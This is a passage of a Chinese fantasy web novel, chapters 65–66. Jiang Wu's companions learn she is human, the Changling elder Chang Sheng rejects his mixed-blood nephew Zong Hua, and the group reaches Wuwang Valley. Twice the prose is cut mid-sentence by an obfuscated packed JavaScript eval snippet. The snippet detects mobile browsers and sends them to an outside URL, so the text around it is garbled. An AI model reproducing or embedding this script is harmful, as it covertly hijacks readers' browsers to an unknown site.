常胜俯身捡起掉落的铃铛,冷哼了一声,“我怎么会老眼昏花到这种程度,你看看濯漪身后的红衣女人是不是修罗?” 常奉眠停下了脚步,仔细地打量起姜芜身后的女人,惊道:“呀,还真是修罗啊?” 父女二人站在一处,有着同样的湛蓝色双眸,象征着长灵族的血脉。 姜芜开口道:“眠眠,这是我的朋友。” 寂满看了姜芜一眼,随即看着常奉眠笑了起来,他双手托着脸,神情有些陶醉,“眠眠?多好听的名字啊。” 雾沅伸手挡在了寂满面前,“你死了这条心吧,那可是长灵族,尊上不会答应的。” 沈确有些诧异地看着常胜父女二人,“前辈,你们方才的意思是姜芜不是修罗吗?” 65. 长灵 常奉眠并没有收到姜芜的暗示,嘴快道:“濯濯是人族啊,你们都不知晓吗?” 雾沅蹙眉,他看向姜芜,有些难以置信地问道:“姜芜是人族?她不是修罗吗?” 常奉眠耸了耸肩,自信满满地说:“那我便不知晓了,那是濯濯自己的事情,我们长灵族的眼睛可以勘破世间一切虚妄,我是不会看错濯濯的身份的,濯濯就是人族。” 宿凌薇单手撑着脸看向常奉眠,“小姑娘,你要不看看我这个修罗本来面目是什么?” 常奉眠冷哼一声,“臭修罗,一团黑乎乎的戾气而已,也需要我看吗?” 寂满兴致冲冲地跑到了常奉眠面前,“我呢?你要不要也看看我是什么?” 常奉眠警惕地看着冲到身前的寂满,后退了半步,余光扫到坐在一旁的宗华,“咦,你也是长灵族吗?但是......你身上的气息很杂哎,爹爹,你看这人,好生奇怪。” 宗华有一双黑色的双眸,但因为又长灵血脉的原因,黑瞳上覆盖着一层淡淡的蓝色,像是眼翳一般。 “不奇怪,宗华,这是你的姐姐。”姜芜抿了口热茶润了润嗓子,“现下可以排除附身的嫌疑了吗?长灵族的双眸可以勘破虚妄,包括但不限于鬼族人的伪装之流。” 寂满神情有些不自在地挠了挠头发,“我也是为我们的安全着想嘛。” 宗华倏地站了起来,傻愣愣地看着姜芜,声音殷切切的,“姐......姐姐?” 常胜闻言大步走向了宗华,他神情震惊地上下打量着面前的少年,“你是晓芙的儿子?我没见过你,你不是从应。” 宗华看着面前两鬓斑白,脸上却没有一丝皱纹的英俊男人,后者面上的情绪复杂,像是不忍、纠结、悔恨又像是愤怒,让他心中无比的触动,“我......我不是从应,从应是我大哥,我叫宗华。” 常胜面色一变,他轻嗤一声,神情狠厉,“不过是长灵族与鬼族的杂种,居然还想混淆长灵血脉,简直是痴心妄想,你这辈子同你哥哥都别想认祖归宗,鬼族那边才是你的去处!滚吧!”说完,他挥袖将宗华拂倒,转身走向了常奉眠身侧。 “奉眠,我们走!” 寂满见状立刻上前扶起宗华,随即怒气冲冲地走到了常胜父女二人面前,并拦住了他们的去路,“老不死的,你凭什么这么说他?既然他上面有了一个哥哥,父母肯定是相互爱慕的,既然如此他们来到了这个世界上,你又凭什么否定他们的存在?混种又怎样?混种就没有活下去的权利吗?你凭什么这么说他?!说到你们长灵族,还不是妖族和精灵的混种?又哪里来的血脉高尚一说?!” 宗华抿着双唇,一言不发,神情委屈地看着常胜和常奉眠。 雾沅伸手拍了拍宗华的肩膀,“别太自责。” 常奉眠叉腰指着寂满,“喂,你又是从哪里冒出来的,臭蛟龙,我劝你不要多管闲事,还有那旁那只臭蝴蝶,既然是妖族就少管我们的事,而且人间不欢迎你们。” 寂满喋喋不休地继续道:“我这是多管闲事吗?我这是在纠正你们的错误观念!他们的出生有什么错?你凭什么把血脉混淆的事情全部归结到他们的头上?!要错也应该是他们父母的错,错在他们明知是两个不同的种族,却还要冲破一切束缚在一起,明知晓会混淆血脉,还是要将他们带到这个世界上!并没有弃置不顾,而是将他们好好养大,他们有什么错?他们又错在哪里?若是你觉得他们真的有错,那也是他们父母的错,但是宗华的母亲已经死了,你若是埋怨她,那你便是小肚鸡肠!跟死人过不去!” 宿凌薇笑着说:“好厉害的嘴,把那长灵老头的胡子都气歪了,但是我觉得他在指桑骂槐,暗讽我们修罗只生不养呢。” 姜芜无奈地摇了摇头,“修罗哪里有那么容易繁衍生息?” 宿凌薇漫不经心地说:“有啊,不过有一则秘术可以避子而已,大家都觉得幼子麻烦,纷纷都去学那则秘术去了,便是有些麻烦,但是比起养育幼子来,那也不算什么了。” 姜芜倏地看向宿凌薇,“怎么个麻烦法?” 宿凌薇神情有些怪异地看向姜芜,“你不知晓吗?用生长在无望谷的鬼荆藤汁液画符咒在身上,那玩意腐蚀性连修罗都抵抗不了,而且腐蚀伤口难以愈合,总得十天半月吧,我以为你知晓呢,既然你不知晓的话,大抵是睢羲用在了自己身上吧。” 姜芜挑眉,不再言语,只是默默地喝着杯中的热茶。 商扶庭闻言盯着姜芜看了片刻,随后默默地收回了目光。 常胜冷哼一声,“你可知晓他们的母亲是怎么死的吗?” 商扶庭开口道:“晓芙前辈是因为长灵族女子的特性而自然消亡,此事也要怪在子代的头上吗?” “一派胡言!根本不是这样的!”常奉眠说,“四百年前,圣人赐予我们抵抗修罗的法器,命我们世代守在并州,看守无幻之境,还教会我们如何隐匿气息与身份,不会因为我们是长灵族,有异于人族又不被妖族接纳,并以天书赐福我们,让我们长灵女子可以免受生子消亡之痛,所以姑姑根本不是因此死亡的。” 宗华立刻从茶棚下走了出来,他走到常胜面前,直视着二人,“我母亲到底是因何而死?” 常胜看着宗华那双与晓芙相似的双眸,重重地叹了口气,“此事说来话长,来部落里,我慢慢同你们说吧。” 宿凌薇闻言起身抻了个懒腰,“濯濯,你跟他们去吧,我去天都城转转,便不陪着你了。” 常胜回头睨了宿凌薇一眼,“不必,你也跟着一起吧,省得我们父女二人还要再去寻你,费心思将你捉回无幻之境。” 姜芜抬眸看向宿凌薇,笑着问道:“怎样?要跟着一起去吗?” 宿凌薇笑着说:“既然人家都打开家门欢迎我了,哪有不去的道理,即便是龙潭虎穴,我也要去闯一闯。” 长灵族因为眼睛的缘故选择避世于山脉腹地,常胜这一支便同族人驻扎于太行山一脉中,长灵族是瑞兽白泽与精灵重明的后代,双眸能勘破世间一切虚妄,再完美的伪装于他们面前犹如薄纸一般不堪一击。 常胜一脉在拨云见日的太行山洼地,临近晌午,几片稻草扎成的小房子上炊烟袅袅。 几个打猎、耕种回来的长灵族人见到常胜后纷纷停下了手中的事情,喜笑颜开地同他打招呼。 “眠眠,这是我今日上山发现的小兔,你若是不愿意吃便养着吧。” 常奉眠看着突然被塞到怀中的两只小白兔,又惊又喜,“阿尚哥,这两只小白兔真的要送给我吗?” 阿尚点了点头,憨笑着说:“是啊,我也不会养小兔,而且再放回山上的话可能会活不了,沾了其他的气味,母兔可能会直接咬死的。” 常奉眠摸着怀中的兔子,“谢谢阿尚哥。” 寂满阴阳怪气地轻声重复着,“我也不会养小兔,不就是兔子嘛,我也会捉,我也会养,兔子哪里有落单的,掏了兔子窝还说得自己那么无辜。” 宿凌薇掐着嗓子说:“寂满哥,你能不能也帮我捉兔子啊?” 寂满揉了揉鼻子,神情得意地说:“捉兔子这件事情,可是非常简单的,我可以捉好多呢,眠眠,你还要什么啊!!!!!!!” 寂满发觉方才说话的是宿凌薇后迅速躲到了姜芜身后,扯起她的袖子遮住自己的脸,“姜芜,你能不能管管你的朋友?能不能不要老是吓我?” 宿凌薇见状摸了摸自己的脸,“我有那么可怕吗?你怎么吓成这样啊?” 寂满控诉道:“修罗怎么可能不吓人,一个你,还有睢羲,还有他那两个叫什么季易沛然的打手,都吓死个人。浑身的戾气遮天蔽日的,张嘴闭嘴便是要我们的命。” 宿凌薇摸着自己的下颌,若有所思地说:“季易沛然我不了解,但是你若是说睢羲吓人,我是不信的,张嘴闭嘴便是要你们的命那更是天方夜谭,最起码我认识的睢羲脾性非常的好,简直不像个修罗。” 寂满说:“脾气再好有什么用,已经被顒鸟精火烧成一把灰了。” “嗯?”宿凌薇蹙眉,她震惊地看着姜芜,“睢羲死了?” 姜芜面色不变地点了点头,隐藏于宽大袖摆中的双手攥紧成拳,指甲没入手心的皮肉之中,鲜血顺着掌纹蔓延开来。 宿凌薇淡淡地说:“那真是太可惜了。” 商扶庭见姜芜神情如常,神情凝重地拢起了眉心,他第一次产生了一种想撕破姜芜伪装的冲动,他想看看姜芜的内里到底有什么,他厌倦了那张整日风轻云淡、唇角带笑的脸。 五六岁模样小虎子突然伸手指着雾沅和寂满,大喊大叫了起来,“哇,好可怕!!!有妖怪啊!!!” 常胜走上前一把捂住小虎子的嘴,并将一块糖塞给了他,并叮嘱道:“不许说!” 小虎子瞪大了圆溜溜的双眸,看着手中的糖两眼发光,认认真真地点了点头。 常胜满意地笑了起来,又塞给了小虎子一颗糖。 常奉眠扬声道:“你们还愣着做什么?快过来啊。” 宗华呆呆地看着众人,“睢羲是谁啊……” 姜芜闻言看了宗华一眼,将自己的衣摆从寂满手中抽了回来,“走了,莫要让主人家等急了,你不是还想知晓你母亲故去的真相吗?” 宗华如梦惊醒,神情郑重地点了点头,快步跟了上去。 雾沅跟上了姜芜的步伐,漫不经心地问道:“你真的瞒了我们很多事。” “不能用瞒这个字。”姜芜笑着摇了摇头,“你们不问,我也便没有说。种族身份这种东西重要吗?我可没有区别对待你们同五行道宗。” 姜芜说完便走进了小院,她撩开挡风的门帘进了小屋,只见宗华缩着身体在距离常胜最远的地方坐着,手中捧着茶杯,如同一只鹌鹑一般。 小屋内十分简易,到处挂着兽皮制的帘子,此时正卷起通风。内置摆放着几张手工木制的桌椅板凳。 “晓芙虽然已经不在了,她做的错事,你也不用迁怒于一个孩子身上。”姜芜笑着接过常奉眠递过来的茶杯,“怎么说你也是孩子的舅舅,血浓于水,你不承认他的父亲没关系,但晓芙毕竟是你最疼爱的妹妹,别总是说一些伤孩子心的话。” 常胜看了宗华一眼,随即朝着姜芜冷哼一声,“你这话说得倒是轻巧。” 姜芜捧着茶杯看向常胜,神情有些无奈,“那能怎么办?当初劝也劝了,打也打了,关也关了,骂也骂了,有何用处?还不是搞得兄妹关系这么僵?” 姜芜话音一落便自嘲地一笑,她软硬皆施,刚柔并济,结果还是落得此等下场,是她活该。 “濯漪,你莫要在那里说这些风凉话。”常胜恶狠狠地盯着宗华,“若是你站在我这个角度上,你便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478010|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会明白,那不是我的外甥,是夺走我妹妹性命的恶魔。我不是不同意妹妹嫁人生子,圣人如此宽恕我们,替我们解开困扰千年的消亡诅咒,让我们不再受夫妻分离之苦,出生不久的婴孩不在启蒙期受母子分离之痛,我们的姐妹、女儿都可以活下来,但是晓芙却依旧选择了那个男人,混种只会给长灵族带来灾祸!” 姜芜问道:“那个男人叫什么来着?” 常胜咬牙切齿地说:“陌离!” 姜芜见状忍俊不禁,“哎呀,这么多年了,你看看你,我不是说风凉话,而是事已至此,让你看开一些,最起码不要将你的怒气撒在孩子身上。算了,怎么说都感觉风凉话。” 常胜冷哼一声,“你知晓便好。” “你呀你,这么多年了,一点都没变。”姜芜看着杯中的茶汤,“喏,也变了些,知晓煮完茶的时候将茶叶过滤出来了。” 常胜见其余人进门,着手斟着茶水,“当然是因为你的吹毛求疵,不是露水煮的茶不喝,有茶梗不行,茶太多太苦不行,没见过你这样的人。” 常奉眠反驳道:“爹爹,你胡说什么呢,濯漪多好相处啊,经常送我各种好吃的好玩的。一定是爹爹脾气不好,毕竟娘也受不了爹爹的脾气。” 姜芜笑而不语。 商扶庭的目光不自觉地落到了姜芜的身上,随后又依依不舍地收了回来,他抬眸看向了常胜,“长灵前辈,不知前辈是否知晓河津镇怎么走?” 常胜看向商扶庭,第一眼先是看到了后者手中的太初剑,他倏地站了起来,然后快步走了上去。 常胜神情激动地说:“敢问阁下拿的可是太初剑?可是五行道宗的人?” 商扶庭颔首。 常胜抬手唤来了煮茶的常奉眠,父女二人对着商扶庭深深地一拜,若不是后者出手阻拦,二人怕是要伏地行大礼。 商扶庭大惊,“二位快快请起,不必如此。你们所言都是太初道尊的功绩,我并未做过何事,二位这般,我消受不起。” 常胜说:“自圣人神陨,太初剑一直不曾认主,今日你手持太初剑,你便同圣人无异。” 宿凌薇晃着坐到了姜芜身侧,“你既然消受不起,那便把剑放那里,让他们跪拜一个死物好了。” 常胜双眸一凝,厉声道:“修罗莫要妄言!” 宿凌薇无奈地耸了耸肩,“古板。” 寂满小声嘀咕道:“自己拜也便算了,为什么要拉着眠眠,等会是不是要将眠眠嫁给他?” 雾沅以眼神示意寂满噤声。 常胜问道:“敢问尊驾去河津镇做何事?” 商扶庭如实道:“有一个朋友要去天门化龙。” 常奉眠闻言转头看向寂满,“是你吧,要化龙的小蛟!” 寂满蹙眉,急忙开口辩解道:“我不小,不要叫我小蛟,而且哪里都不小!” 宿凌薇闻言一愣,随即毫无影响的大笑了起来。 雾沅无奈地摇了摇头,随即长叹了一息。 姜芜笑得手中的茶杯都在抖。 寂满不解地看着姜芜二人,“你们在笑什么啊?奇奇怪怪的,我本体多么威风,多么勇猛啊,哪里小?我年龄也不小!我长得也不小!” 宿凌薇看着寂满,笑着说:“这妖怪怎么这么可爱?” 姜芜放下手中的茶杯,意有所指地说:“收起你那些小心思,大部分妖怪对待感情一事还是很忠贞的,而且苍旻都知晓不碰修罗的。而且他真的年纪还小,对很多事都寄予美好的。” 宿凌薇收回目光,神情恹恹地说:“行吧,好不容易遇到个有趣的呢。” 寂满觉得宿凌薇露骨的眼神让他浑身发毛,他缓慢地挪动着步伐藏到了雾沅身后,“你要做什么?你为什么这么看着我?姜芜,你能不能管一管她?!” “好。” 姜芜应了一声,然后敷衍般地伸手拍了拍宿凌薇的手臂。 寂满说:“哼,就知道会搪塞我。” 常胜伸手指向南方,“要想去河津镇,最近的办法便是要从此地往南,但是现下的时间,中途要在无望谷落脚,那是一处天堑,里面污沼浊气横行,非戾气能比,清晨日出之时,云雾会搭成天阶,过无望谷者徒步经过,切忌不可妄动运用真元,浊气则会腐蚀经脉,轻则修为受损,重则性命难安。” 商扶庭面色凝重地说:“无望谷?竟然如此厉害?!还有其他的办法吗?” 姜芜听到无望谷的字眼微微一震,“无望谷虽然危险,但是天阶很安全,为了节省时间,我们就从无望谷过。小道士,你不是还想着取天河之水来救东城百姓吗,时间耽误得起?” 商扶庭面上露出一丝为难,他抬眸看向姜芜,片刻后点了点头,“寂满兄弟,你呢?想选哪一条路?” 寂满说:“我当然是越快越好啊,我的父亲哥哥等着我去拯救大荒呢!” 常胜睨着宗华,声音冷淡地问道:“你也要跟着去吗?老实待在这里吧,混种只会招致灾祸!” 宗华的脸上多了几分失落,他紧抿着双唇垂下了头。 寂满见状有些不忍,开口道:“什么混种不混种啊,让你这么说我也是混种!我是真龙和蛇的混种!我活了这么多年!也没见招致了什么灾祸!” 商扶庭见寂满不在意此事也附和道:“没关系的,他同我们一起来的,便一起去吧。” 66. 无望谷 临近晌午,常胜煮了一铁锅奶白的鱼汤,撒了一些时令蔬菜在其中,常奉眠帮衬着和了玉米面贴在了锅中。 因为姜芜一行人是客人,所以全村的人带着家中的美酒佳肴聚集到了常胜的院子中,一同招待客人。 姜芜也毫不吝啬地拿出来了几坛江心月,与人共饮。 长灵姑娘毫不扭捏地跳起了迎客舞蹈,常奉眠一身白色纱裙在少女中格外的出众醒目,声音甜美又灵动,与她的姐妹手挽着手唱歌。 寂满一脸痴相地看着常奉眠,时不时拍手鼓掌,欢呼喝彩。 姜芜端着酒碗小口啜饮着,一碗鱼肉放在手边,纹丝未动。 雾沅说:“你身子不好,少喝一些。” 姜芜应了一声,将碗中的酒一饮而尽,正准备放下酒碗时,却被阿尚拿酒坛抵住了手腕。 “姑娘好酒量,不妨尝尝我们这边自己酿的青梅酒,这种酒劲头不大,酸甜爽口还开胃,不妨碍的。” 姜芜笑着抬眸看向阿尚,将自己的酒碗递了过去,“那便来一些。” 阿尚笑着给姜芜倒酒,随即看到她身侧的雾沅,面上的笑容一僵,还是犹犹豫豫地给他倒了酒。 “您也尝尝吧,这青梅酒都是我们自己酿的,外面喝不到。” 姜芜见状端着酒碗轻轻地碰了一下雾沅的碗,“尝尝吧,你应该会喜欢这种果酒。” 雾沅垂眸抿了一口青梅酒,随即神情震惊地看向姜芜,“这种酒很奇特,像是在吃青梅但是又带着一股辛辣。” 姜芜笑着说:“喜欢便好,这里的青梅酒外面很难喝到的,梅子不一样,酒曲也不一样。” 阿尚见状又给二人倒满酒,“你们喜欢真实太好了。”随后,便拿着酒坛去给其他人倒酒。 一群人围着铁锅吃了一顿热乎乎的午饭,稍作休息一番便出发前往无望谷。 宗华同沈确走在队伍的中央,前方是商扶庭、雾沅和寂满,后方是姜芜和趁乱溜出长灵村落的宿凌薇。 宗华擦了擦额头上的热汗,“这无望谷是什么地方啊?听起来好像很恐怖的样子。” 姜芜撑着伞给自己和宿凌薇遮挡着阳光,“没什么特别的,相传当年共工怒撞不周山,导致天河倾倒,无望谷是娲皇划通的可直达地心的一条裂缝,将倾倒的天河之水引入地底。” 沈确回头看着姜芜,开口问道:“此天河之水同我们所需要的天河之水是同一种吗?若是的话,我们能否在此处得到天河之水呢?” 宿凌薇打了个哈欠,“当然不能,女娲补天以后,天河之水便停止倒灌了,多余的天河水流进了深不见底的无望谷之中,生灵根本无法进入谷底,现下只有无幻之境内才能找到天河之水。” 宗华不解地问道:“为何无幻之境内会出现天河之水?” “太久远了,我并不清楚,听一些年长修罗的意思是这是女娲娘娘赐予修罗一族能够疗愈净化的圣水。”宿凌薇说,“不过经过无望谷时,我们需要警惕一些,不要惹怒住在其中的鸩鸟,这种鸟以地底反上来的浊气为食,不是我们能够抗衡的。” 寂满撇了撇嘴,“这修罗族命也太好了吧,不仅能够得天独厚地享受戾气,没有争抢一说,居然还有天赐的疗愈圣水!太不公平了。” 姜芜解释道:“天河之水是为了制衡从戾气中诞生的修罗,避免他们因为体内戾气过盛而导致性情暴戾,以至于神志失控而屠杀其他种族。这也算是一种阴阳平衡之道,戾气是从浊气中诞生,神树吸纳戾气而诞生灵气,但是戾气成分复杂,神树不能完全吸收转化得了,所以需要由修罗来平衡,若是没有修罗一族,怕是阴阳要失调,妖族与人族若是被大量的戾气侵染,估计人间会变成炼狱。” 寂满赞同地点了点头,“怪不得修罗总是打打杀杀的呢,尤其是那个睢羲,带着他那两个打手,追我们跟狗追肉骨头一样,太难搞了。” 宿凌薇看了一眼所谓的“肉骨头”姜芜,低声笑着附耳于她,“可不是嘛,哪里有揣着狗狗心爱的肉骨头到处跑的,居然还怨狗追着他们,真是不知轻重。” 姜芜笑而不语。 商扶庭回头看了姜芜一眼,又默默地收回视线。 沈确问道:“那鬼族人又是怎么回事?” 宗华结结巴巴地开口,“这个事情我知道,鬼族诞生于南疆十万大山中的鬼瘴气中,我哥哥跟我说过,其实我们鬼族人算是精灵,但是因为鬼瘴气太过于凶猛,所以只能被成为鬼族,算不上精灵。” 宿凌薇深究着姜芜的神情,扬声道:“小蛟龙,你可别猖狂。虽说遇事不能总是怨自己,但是睢羲的事情上肯定是你们的错,他虽然活得年岁久,按理来说,应该同一些老修罗一样被戾气折磨神志不清,但是他不仅没有如此,反而越发得稳重。” 寂满神情不耐地说:“这有什么好得意的,还不是因为你们有天河之水。” “可不是哦,小蛟龙你可不要神化天河之水,它只是起到了一个延缓的作用而已。”宿凌薇表现出一副高深莫测的模样,“百衢可是在未成为修罗王之前便在处决一些发疯的老修罗,一直到现在哦。” 宗华闻言震惊地瞪大了双眸,手指微微发颤,“处决发疯的老修罗?你们修罗一族是会自相残杀吗?” 寂满也是一脸吃惊地看着姜芜和宿凌薇,“真的假的?你们……你们……这跟杀老人和老妖有什么区别啊?” 姜芜仔细地思忖了片刻,随后才摇着头说:“没有区别,但是发疯的老修罗非常危险,有时百衢和睢羲联手都无法对付,他们没有理智不听道理,同老人、老妖不一样,而且发疯的老修罗会无差别攻击任何人,为了修罗族的安定,不得不这么做。” 商扶庭问道:“睢羲为何不会陷入癫狂状态?” 宿凌薇笑着问道:“是吧,很奇怪吧,很多修罗都向他请教过,但是他自己也不知晓,毕竟谁也不想走到癫狂那一步,如此的没有尊严。” 宿凌薇说到最后逐渐收敛了脸上玩世不恭的笑容,最终也只是无奈地叹了一息,“所以啊,要趁着大好的青春年华去享受世间美好啊。” 平地起了一阵狂风,一股逼人的寒气随风而来。 姜芜不得不收起纸伞,她看着眼前一片白雾的树林,轻声说:“无望谷到了。” 商扶庭看着面前的白雾森林,“我们该如何过这无望谷?” 寂满问道:“不是谷吗?怎么是一片森林?” 宗华也是二丈和尚摸不到头脑,看着面前如同拦路虎一般横贯在崇山峻岭中的白雾,“是啊,看起来好奇怪啊?” 雾沅说:“怕是那谷隐藏于森林之中,毕竟无望谷中栖息着鸩鸟,有森林生长于此也属于正常。但是白雾之聚集在森林四周,风吹不散,这实属令人费解。” 沈确上前走到了商扶庭身侧,面色忧愁地问道:“师兄,我们该如何做?” 商扶庭说:“只能按照长灵前辈所说等明日一早了,我们捡些木柴,找避风处生火吧,过了今夜再说吧。” 沈确看着面前白茫茫的一片浓雾,其中隐约可见一些影影绰绰的树影,她心中有些莫名其妙的担忧。 寂满站在原地看着那片浓雾,“真的会有天阶出现吗?” 姜芜颔首,“会有的,我们所见之白雾并非真的雾,只是从地底蔓延上来的浊气而已。” 寂满问道:“你怎么知道?” 姜芜看着面前的浓雾,眼角多了一分湿意,她的神情颇为怀念,“无望谷虽然可怖,但是并没有想象中的那么危险,而且其中生长着非常多的稀有药材,青州的十方楼便是靠着此地发扬光大的。” 宗华闻言也凑了过来,“神仙姐姐,既然如此,那为什么清晨会有天阶出现?也是十方楼的手笔吗?” 姜芜摇了摇头,笑容中带了一丝的不屑与嘲讽,但也不想多言,只是随口道:“那是女娲娘娘的恩赐,十方楼怎会有如此大的本事。天色不早了,先找避风处落脚吧。” 几人在距离无望谷不远的地方寻到了一处近水、长着两三棵树木的低洼处。 商扶庭俯身将木柴堆好,“今夜安排一下守夜吧,大家想怎么分?” 宿凌薇说:“不用分,你们休息便可,我们修罗是不需要休息的。” 宗华惊讶地看着宿凌薇,眼神中多了几分艳羡,“不休息的话,不会觉得累吗?我之前在学堂时整夜读书做文章,第二日便会没有精神,即便是睡过一整日,精力也大不如前。” 宿凌薇笑着说:“神奇吧,我们也不需要吃东西。” 寂满看着姜芜说:“那眠眠还真没有骗我们啊,姜芜你又要休息又要吃东西的,果然是人族啊。” 商扶庭闻言看了姜芜一眼,随后掐诀引火,点燃了柴堆,若姜芜是人族,那么她要封印无幻之境的行径便是合情合理的,人族便是要做有利于人族之事,此前种种都是他想得太多,分明是自己想不明白,思绪行进了死路之中,偏偏还要埋怨姜芜的不坦诚。 彼时,姜芜登上长衡山时,商扶庭还曾疑惑于护山大阵对姜芜的不起作用,当时她的说法是因为自己有秘宝在身,现下看来,秘宝一事根本就是无稽之谈,毕竟护山大阵根本不可能对一个人族显示威力。 雾沅隔着火堆沉默地看着姜芜,橘色的焰光将她苍白色的脸庞映得生辉,但是又为她的目的平添了几分疑色,虽然他知晓长灵族双眸的厉害之处,但是并不代表姜芜是人族这件事情是所有问题的答案,若姜芜是人族,她又为何帮自己认清苍旻的真正目的,人族难道不希望自己的种族兴旺吗?若是放任自己死志横生,对人族来说百利而无一害。 寂满开口道:“我们今夜吃什么啊?” 姜芜提议道:“森林中有很多鸩鸟的巢穴,若是不怕麻烦的话,我们可以去掏鸟蛋。” “明日还不知情况为何,天阶好不好渡,天门的厉害程度如何,所以今夜莫要平生事端,保留精力。”商扶庭从自己的纳戒中取出干粮袋,“我这里还有一些饼,大家可以将就一下。” 商扶庭说完之后便起身给所有人都分一了个干巴巴的饼。 姜芜看着手中的干饼,上面带着几块焦黄的糊印,她掰下了一小块,放进嘴里缓慢地咀嚼了起来,坚硬的饼很快化成了难以下咽的沙。 姜芜面不改色地吞了下去,吃了两块便不再吃了,突然很怀念久远之前烤鸟蛋的味道。 随着夜色的降临,太阳逐渐落了下去,皓月当空,气清无云,一片星河万里。 宿凌薇翻身躺在树杈上,她看着夜空忍不住感叹道:“今夜的星空可真美啊,你们睡吧,我来守夜。” 姜芜看着火堆出神,时不时伸出手靠近焰火取暖,她听着周边逐渐平稳的呼吸声,随后将手中的木棍扔进火堆中,起身朝着白雾森林走去。 商扶庭睁开双眸盯着姜芜看了片刻,随后轻手轻脚地跟了上去。 姜芜并没有走进白雾森林,而是在距离其不远处的巨石上坐了下来,这块巨石像是一方石床一般,稳稳地托住她疲惫的身体。 姜芜从纳袋中取出一壶酒,默默地喝了起来。 姜芜记忆中的无望谷并没有现下这般可怖,虽然临近地心但没有直通其下,只有少于浊气外溢,大部分鸟兽都不愿意栖居于此,唯有鸩鸟例外。浊气盘踞于此,滋养出了大量的奇珍异宝。 “前面便是无望谷了,千万不能使用戾气,否则会加重你的伤势的,还有跟紧我,否则在这里面会迷失方向的。” 濯漪穿着一身土黄色的麻布裙,腰间围着一块虎皮,挽上去的袖子露出一截白皙的小臂,长发辫成了两条垂在胸前的麻花辫,她伸手拉着睢羲往白雾森林的深处走去。 睢羲看着萦绕于周身的白雾,四周的环境潮湿,风声呜咽,方向难辨,偶尔会有鸩鸟的拉长调子的鸣叫声,一声一声的,像是寂静之夜的枭鸟,令人毛骨悚然。 睢羲神情警惕地看着四周,一手握紧濯漪的手,另一只手放在腰间的短刃上,“你平时都来这里采药吗?” 濯漪见睢羲一副惴惴不安的模样,笑着安抚道:“放心了,不会有危险的,只是看着吓人而已,这里面只是有一些鸩鸟而已,一会走的时候我们还能去掏一些鸟蛋带回吃。” 濯漪松开睢羲的手,朝着一颗树下跑去,她拔出一棵似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483961|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰草一般的植物,抖掉上面的泥土,“你看,这就是聚元草,你平时喝的药里面就有它了。” 睢羲看着濯漪将草药放进身后的背篓里,心中有些过意不去,“我来帮你背吧,我竟然不知我喝的药里居然要来如此危险的地方。” 濯漪说:“你不用觉得自责,母亲说你们是在做好事,而且这聚元草即便是你不用,也要给别人用的。母亲那里有很多人要用呢,这里也不止有聚元草,还有鬼荆藤、苍葵香等等,每隔十天半个月都要来一次的,我都轻车熟路了。” 一阵凄厉的鸩鸟鸣声从森林深处传来。 睢羲闻声抬眸警惕地看向森林深处,下颌紧绷。 濯漪见状忍俊不禁,她起身拍了拍睢羲的手臂,“没事的,放心。” 睢羲一本正经地说:“我感觉这里很危险,像是有何庞然大物在雾中,而且她让我保护你。” “我已经来过很多次了,这里只有鸩鸟。”濯漪笑着说,“母亲只是让你出来散散心而已,顺便陪着我采药,说是有利于你身上的伤,你若是再如此紧张,那便有点适得其反了,若是回去让她发现你伤情加重,又要怪我没照顾好你了。” 睢羲摇了摇头,“不会的,我已经好很多了,过几日便能离开了。” 濯漪发自内心地笑了起来,她欢喜睢羲即将痊愈,但对于他即将离开也感到一丝难过,“那真是太好了,离开便代表你痊愈了,再也不用喝这些苦药汤子了。” 濯漪听到鸩鸟声消散,采完了草药便提议道:“这个时候鸩鸟应该出去觅食了,我们可以去掏鸟蛋了。睢羲,你会不会爬树?” 睢羲伸手将濯漪托到了树上,神情担忧地说:“你小心一些。” “没事,我经常干这种事情。” 濯漪从鸟巢中将白皮鸟蛋摸出来放到了帕子中,留下了一两个在巢中,将帕子一裹,顺着树爬了下来。 濯漪晃了晃手中的小包裹,沾沾自喜地道:“这下我们回去的时候可以加餐了。” 睢羲蹙眉望着面前的高树,“这里能见度如此低,以后莫要再爬高树了,小心摔下来。” 濯漪将小包裹收进了随身的小挎包中,闻言撇了撇嘴说:“你好扫兴啊,难道不应该夸我厉害吗?” “你不是说你经常爬树掏鸟蛋吗?有什么好厉害的?”睢羲不解地看着濯漪,“若是你独自前来,谁夸奖你?” 濯漪瞪了睢羲一眼,随后无所谓地笑了笑,转身向白雾森林外走去,“你这人好无趣啊,算了,你说的也对,我们走吧。” 睢羲感觉濯漪方才分明是生气了,但不知为何又笑了起来,他有些不解,但是后者平时都是笑模样居多,方才生气可能只是他的错觉。 睢羲默不作声地跟了上去。 一条巨蛇藏在白雾之中,看到两人身影晃动立刻冲了上去,濯漪率先察觉到不对劲,她迅速四下查看了一番,随即便看到了睢羲身后行动迅速的巨蛇。 濯漪一惊,立刻拉着睢羲向一旁跑去,巨蛇直接撞断了距离他们不远处的一棵树。 “天呐,这里怎么会有这么大的一条蛇?” 濯漪一边说着一边拉着睢羲在森林中狂奔了起来,“估计是不小心误入了,这里没有吃食,现下肯定是饿极了。” 濯漪话音刚落,余光便发觉到一条巨尾扫来,她迅速回身推开睢羲,随即整个人被巨蛇的尾巴扫了出去,她调整姿势落地,拔出腰间的长匕首,蓄势以待。 “睢羲,躲远一些。” 